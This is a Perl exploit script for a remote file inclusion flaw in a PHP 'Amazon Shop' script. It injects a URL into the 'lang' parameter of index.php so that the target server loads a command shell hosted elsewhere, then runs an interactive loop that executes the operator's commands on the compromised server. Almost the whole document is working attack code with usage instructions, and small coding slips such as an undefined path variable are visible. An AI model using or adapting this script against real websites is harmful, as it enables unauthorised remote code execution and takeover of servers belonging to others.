Ghostscripter Amazon Shop Remote File Inclusion

`#!/usr/bin/perl  
#  
#ghostscripter Amazon Shop Remote File Include Exploit  
#Script :http://ghostscripter.com/amazon_shop.php  
#Original Advisory:http://www.milw0rm.com/exploits/8145  
#By d3b4g  
#Mail:bl4ckend [at]gmail.com  
#  
  
  
use LWP::UserAgent;  
  
$my_Path = $ARGV[0];  
$Pathtocmd = $ARGV[1];  
$cmdv = $ARGV[2];  
  
if($my_Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}  
  
head();  
  
while()  
{  
print "[shell] \$";  
while(<STDIN>)  
{  
$cmd=$_;  
chomp($cmd);  
  
$sploit = LWP::UserAgent->new() or die;  
$req = HTTP::Request->new(GET =>$Path.'index.php?lang='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";  
  
$res = $sploit->request($req);  
$return = $res->content;  
$return =~ tr/[\n]/[....]/;  
  
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}  
  
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a that command in <b>/)  
{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}  
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}  
  
if($return =~ /(.*)/)  
  
  
{  
$lolreturn = $1;  
$lolreturn=~ tr/[....]/[\n]/;  
print "\r\n$lolreturn\n\r";  
last;  
}  
  
else {print "[shell] \$";}}}last;  
  
sub head()  
{  
print "\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";  
print " ghostscripter Amazon Shop Remote File Include Exploit\r\n";  
print " Exploited by d3b4g\r\n";  
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";  
}  
sub usage()  
{  
head();  
print " Usage: Amazon Shop.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";  
print " <Site> - Full path to Amazon Shop script ex: http://www.site.com/ \r\n";  
print " <cmd shell> - Path to cmd Shell ex. http://www.shellzsite.com/cmd.txt \r\n";  
print " <cmd variable> - Command variable used in php shell \r\n";  
print "---------------------------------------------------------------------------\r\n";  
print " By bl4ckend[at]Gmail.com \r\n";   
print "---------------------------------------------------------------------------\r\n";  
exit();  
}  
`